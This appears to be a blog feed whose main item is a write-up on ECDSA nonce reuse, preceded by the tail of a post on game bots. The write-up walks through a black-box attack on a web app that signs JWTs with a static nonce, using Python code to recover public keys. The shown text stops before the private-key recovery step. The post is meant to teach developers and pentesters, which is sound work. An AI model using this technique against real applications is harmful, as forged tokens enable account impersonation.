&lt;iframe width=&quot;560&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/K3oargR2eL4&quot; frameborder=&quot;0&quot; allow=&quot;accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;

&lt;h2 id=&quot;extension&quot;&gt;Extension&lt;/h2&gt;

&lt;p&gt;As mentioned in the final slide of the talk, the topic of obfuscation was not covered during the presentation. However, to address this important aspect, I have prepared a follow-up blog post that delves into the practical demonstration of approaching an obfuscated client. You can find the blog post at the following link: &lt;a href=&quot;/2023/05/15/deobfuscating-java-game-client/&quot;&gt;Deobfuscating a Java Game Client&lt;/a&gt;&lt;/p&gt;
</description>
        <pubDate>Mon, 15 May 2023 00:00:00 +0000</pubDate>
        <link>/2023/05/15/building-bots-for-java-games/</link>
        <guid isPermaLink="true">/2023/05/15/building-bots-for-java-games/</guid>
        
        <category>Research</category>
        
        
      </item>
    
      <item>
        <title>ECDSA Nonce Reuse</title>
        <description>&lt;h2 id=&quot;preface&quot;&gt;Preface&lt;/h2&gt;

&lt;p&gt;Disclaimer: The information presented in this blog post is not novel research, but rather a writeup demonstrating the attack. The goal of this post is to help developers and pentesters alike to be aware of this vulnerability. Furthermore instructions are provided on how to help spot this flaw and leverage exploitation by using a realistic black-box scenario involving a web application.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;https://youtu.be/84WI-jSgNMQ?t=330&quot;&gt;ECDSA Nonce Reuse gained a lot of traction when researchers leveraged this technique to be able to bypass the code signing verification process on Sony’s Playstation 3 Consoles.&lt;/a&gt; As Sony was using the same static nonce value to sign the firmware, the researchers were able to extract the ECDSA Private Key and as such sign their own binaries thus allowing the binaries to be ran on the Playstation 3. Recently this technique has been getting a lot of attention due to the various digital currencies which employ ECDSA as the cryptographic algorithm.&lt;/p&gt;

&lt;p&gt;Please note this fatal flaw does not stem from ECDSA itself, but rather an incorrect implementation of it. As such, the old adage appears to be true in that whenever a developer tries to roll their own crypto, problems seem to always arise.&lt;/p&gt;

&lt;h2 id=&quot;ecdsa-crash-course&quot;&gt;ECDSA Crash Course&lt;/h2&gt;

&lt;p&gt;ECDSA aka Elliptic Curve Digital Signature Algorithm is an asymmetric encryption algorithm meaning it possesses both a public key and a private key. The private key is typically used to sign a message, while the \public key is used to verify that the message was signed by the respective private key. Compared to its older ‘brother’ RSA, ECDSA is less widely used. One benefit of using ECDSA compared to RSA is that its signatures are shorter and have the same security strength.&lt;/p&gt;

&lt;p&gt;To learn more how ECDSA works under the hood, it is highly recommended to read this &lt;a href=&quot;https://cryptobook.nakov.com/digital-signatures/ecdsa-sign-verify-messages&quot;&gt;wonderful resource&lt;/a&gt;.&lt;/p&gt;

&lt;h2 id=&quot;realistic-proof-of-concept&quot;&gt;Realistic Proof of Concept&lt;/h2&gt;

&lt;p&gt;This proof of concept will demonstrate a scenario in which a web application is using a flawed implementation of ECDSA to sign a JWT. The claims within the JWT are used to identify the user.&lt;/p&gt;

&lt;p&gt;Here is an example of how the claims in the payload will appear:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;{
	&quot;username&quot;: &quot;maxim&quot;,
	&quot;email&quot;: &quot;maxim@localhost&quot;
}
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As mentioned before, the web application is using a vulnerable implementation of ECDSA when signing the JWT token. In this case, the flaw is that a static nonce is re-used to sign the JWT.&lt;/p&gt;

&lt;p&gt;First, the user successfully authenticates with the application in which the following session cookie is set. The value of the cookie is:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;eyJhbGciOiJFUzI1NiJ9.eyJ1c2VybmFtZSI6Im1heGltIiwiZW1haWwiOiJtYXhpbUBsb2NhbGhvc3QifQ.RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugICZD_ZBEmlQQCAx7cY-qczFzw6s8odNVL9P-Za6xrQ
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As this appears to be a JWT, it can be used with a JWT debugger such as &lt;a href=&quot;https://jwt.io&quot;&gt;jwt.io&lt;/a&gt; to learn more about how the JWT was constructed:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/images/posts/2020/ecdsa/jwt-debugged.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Shown in the header section, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ES256&lt;/code&gt; is the algorithm which was used to sign the JWT. As you might’ve guessed it, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ES256&lt;/code&gt; is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;SHA256 with ECDSA&lt;/code&gt; meaning that the JWT header and payload were first hashed using SHA256 and then signed using the ECDSA algorithm.&lt;/p&gt;

&lt;p&gt;Take a note of the signature in the JWT as it will come in handy later:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugICZD_ZBEmlQQCAx7cY-qczFzw6s8odNVL9P-Za6xrQ
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;In order to verify ECDSA is using the same nonce to sign messages, you will need another sample from the application. In this scenario, another JWT can be achieved by 
using the web application’s self-sign up functionality and registering another user. Then authenticating with that user yielding another JWT:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;eyJhbGciOiJFUzI1NiJ9.eyJ1c2VybmFtZSI6InJhbmRvbSIsImVtYWlsIjoicmFuZG9tQGxvY2FsaG9zdCJ9.RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugtCKcpoypvPC7GrUY9j6M4ZNRRvo47TZbCPhscHU-Wg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Notice anything interesting? The first part of both signatures are the same value:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViug
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;This is an indicator that the same nonce is being used to sign messages!&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;In order to exploit this, first the respective public key associated with these signatures needs to be derived. The Public Key can actually be recovered from the signature itself and involves a fairly trivial reversing process coupled with using two Python libraries which will handle the majority of the heavy lifting.&lt;/p&gt;

&lt;p&gt;Here are the steps:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;Split the JWT into its three respective parts by using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.&lt;/code&gt; as a delimeter.&lt;/li&gt;
  &lt;li&gt;Retrieve the header and data (payload) values and generate a SHA256 digest using them. Return the bytes digest as a long (as that’s what the library in the next step will expect.)&lt;/li&gt;
  &lt;li&gt;Using the &lt;a href=&quot;https://github.com/tlsfuzzer/python-ecdsa&quot;&gt;python-ecdsa&lt;/a&gt; library, instantiate a Signature object.&lt;/li&gt;
  &lt;li&gt;Call the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recover_public_keys()&lt;/code&gt; &lt;a href=&quot;https://github.com/tlsfuzzer/python-ecdsa/blob/master/src/ecdsa/ecdsa.py#L94&quot;&gt;method&lt;/a&gt; on the Signature object.&lt;/li&gt;
  &lt;li&gt;Verify at least one of the public keys (the method returns two public keys) works with verifying both JWT signatures.&lt;/li&gt;
  &lt;li&gt;Use the &lt;a href=&quot;https://github.com/tintinweb/ecdsa-private-key-recovery&quot;&gt;ecdsa-key-recovery&lt;/a&gt; library to recover the Private Key.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Lets start by using the first JWT obtained from the web application:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;eyJhbGciOiJFUzI1NiJ9.eyJ1c2VybmFtZSI6Im1heGltIiwiZW1haWwiOiJtYXhpbUBsb2NhbGhvc3QifQ.RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugICZD_ZBEmlQQCAx7cY-qczFzw6s8odNVL9P-Za6xrQ
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Step 1 - Split the JWT into its three respective parts:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-python3&quot;&gt;header = 'eyJhbGciOiJFUzI1NiJ9'
payload = 'eyJ1c2VybmFtZSI6InJhbmRvbSIsImVtYWlsIjoicmFuZG9tQGxvY2FsaG9zdCJ9'
signature = 'RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugtCKcpoypvPC7GrUY9j6M4ZNRRvo47TZbCPhscHU-Wg'
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Step 2 - hashing the header and payload using SHA256:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Crypto.Util.number&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes_to_long&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;hashlib&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sha256&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'eyJhbGciOiJFUzI1NiJ9'&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'eyJ1c2VybmFtZSI6InJhbmRvbSIsImVtYWlsIjoicmFuZG9tQGxvY2FsaG9zdCJ9'&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;bytes_to_long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sha256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;107606344816097082653668281381475381292883269944958848528295251319167973024164&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Step 3 - using the python-ecdsa library to instantiate a Signature object.&lt;/p&gt;

&lt;p&gt;Looking in the code, it appears the constructor expects two ints, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;r&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;s&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt; &lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;
    ECDSA signature.
    :ivar int r: the ``r`` element of the ECDSA signature
    :ivar int s: the ``s`` element of the ECDSA signature
    &quot;&quot;&quot;&lt;/span&gt;

    &lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__init__&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;r&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;r&lt;/span&gt;
        &lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;To retrieve these values, the JWT signature needs to be base64 decoded and needs to be converted to a long:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: If you get an incorrect padding error, pad it with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt; until it works. The amount of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt; won’t make a difference. However to do it the more ‘legit’ way, check the amount of characters in the signature and then pad it with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;=&lt;/code&gt; until it’s divisible by 4:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;len('RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugICZD_ZBEmlQQCAx7cY-qczFzw6s8odNVL9P-Za6xrQ')
&amp;gt;&amp;gt;&amp;gt; 86 # thus requiring two = to be padded
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;ecdsa.ecdsa&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Signature&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;base64&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;from&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;Crypto.Util.number&lt;/span&gt; &lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes_to_long&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;sig_decoded&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;bytes_to_long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;base64&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;urlsafe_b64decode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;'RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugICZD_ZBEmlQQCAx7cY-qczFzw6s8odNVL9P-Za6xrQ=='&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sig&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;Signature&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sig_decoded&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sig_decoded&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;%&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;sig&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ecdsa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ecdsa&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;Signature&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;object&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;at&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x10907f430&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Step 4 - Now that the Signature object has been instantiated, it is time to derive the public keys.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;recover_public_keys()&lt;/code&gt; method requires the hash (which was the long value generated in Step 2), and a generator object.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;from ecdsa.ecdsa import generator_256

keys = sig.recover_public_keys(107606344816097082653668281381475381292883269944958848528295251319167973024164, generator_256)
keys
&amp;gt;&amp;gt;&amp;gt; [&amp;lt;ecdsa.ecdsa.Public_key object at 0x10907f0d0&amp;gt;, &amp;lt;ecdsa.ecdsa.Public_key object at 0x108ae1f70&amp;gt;]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;As shown above, an array of two Public Key objects are returned.&lt;/p&gt;

&lt;p&gt;Step 5 - Verify that at least one of the Public Keys works with verifying both JWT signatures.&lt;/p&gt;

&lt;p&gt;In this step, we will need to repeat Step 3 using JWT #2 in order to instantiate a second signature object.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;eyJhbGciOiJFUzI1NiJ9.eyJ1c2VybmFtZSI6InJhbmRvbSIsImVtYWlsIjoicmFuZG9tQGxvY2FsaG9zdCJ9.RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugtCKcpoypvPC7GrUY9j6M4ZNRRvo47TZbCPhscHU-Wg
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;sig_decoded_2 = bytes_to_long(base64.urlsafe_b64decode('RGt0uId-XGgJxQz6jWkHj4m79HaRY2vz62DktiaOViugtCKcpoypvPC7GrUY9j6M4ZNRRvo47TZbCPhscHU-Wg=='))
sig2 = Signature(sig_decoded_2 &amp;gt;&amp;gt; 256, sig_decoded_2 % 2**256) 
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;With the second signature object created, we will need to repeat Step 2 to generate the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;msghash&lt;/code&gt; for JWT #2 (as it will be required by the verification method):&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'eyJhbGciOiJFUzI1NiJ9'&lt;/span&gt; 
&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;'eyJ1c2VybmFtZSI6InJhbmRvbSIsImVtYWlsIjoicmFuZG9tQGxvY2FsaG9zdCJ9'&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;bytes_to_long&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;sha256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;sa&quot;&gt;f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;header&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;si&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;encode&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()).&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;digest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;())&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;65490965914125282845354934350820906131343154390672003299727997819010148559345&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Before moving further, lets reiterate all the values we have:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;msghash_1 = 107606344816097082653668281381475381292883269944958848528295251319167973024164
msghash_2 = 65490965914125282845354934350820906131343154390672003299727997819010148559345

sig # Signature object for JWT #1
sig_2 # Signature object for JWT #2
keys # array of public keys
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Looking in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;python-ecdsa&lt;/code&gt; code, there is an instance method belonging to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Public_key&lt;/code&gt; class called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;verifies&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;verifies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;bp&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;hash&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;signature&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;):&lt;/span&gt;
			&lt;span class=&quot;s&quot;&gt;&quot;&quot;&quot;Verify that signature is a valid signature of hash.
			Return True if the signature is valid.
			&quot;&quot;&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Lets try using the first key generated to verify the msghash and signature of the first JWT.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;verifies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msghash_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;	
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Awesome it works, which is not too surprising as these instances of the message hash and signature were used to derive the public keys. Now the final test is verifying whether the public key verifies the second message hash and its respective signature.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;verifies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msghash_2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sig2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;False&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Hmm it does not work, not good. Before going into panic mode, lets use the second Public Key in the array to verify both sets of message hashes and signatures once more.&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;n&quot;&gt;keys&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;verifies&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;msghash_1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;sig&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;bp&quot;&gt;True&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

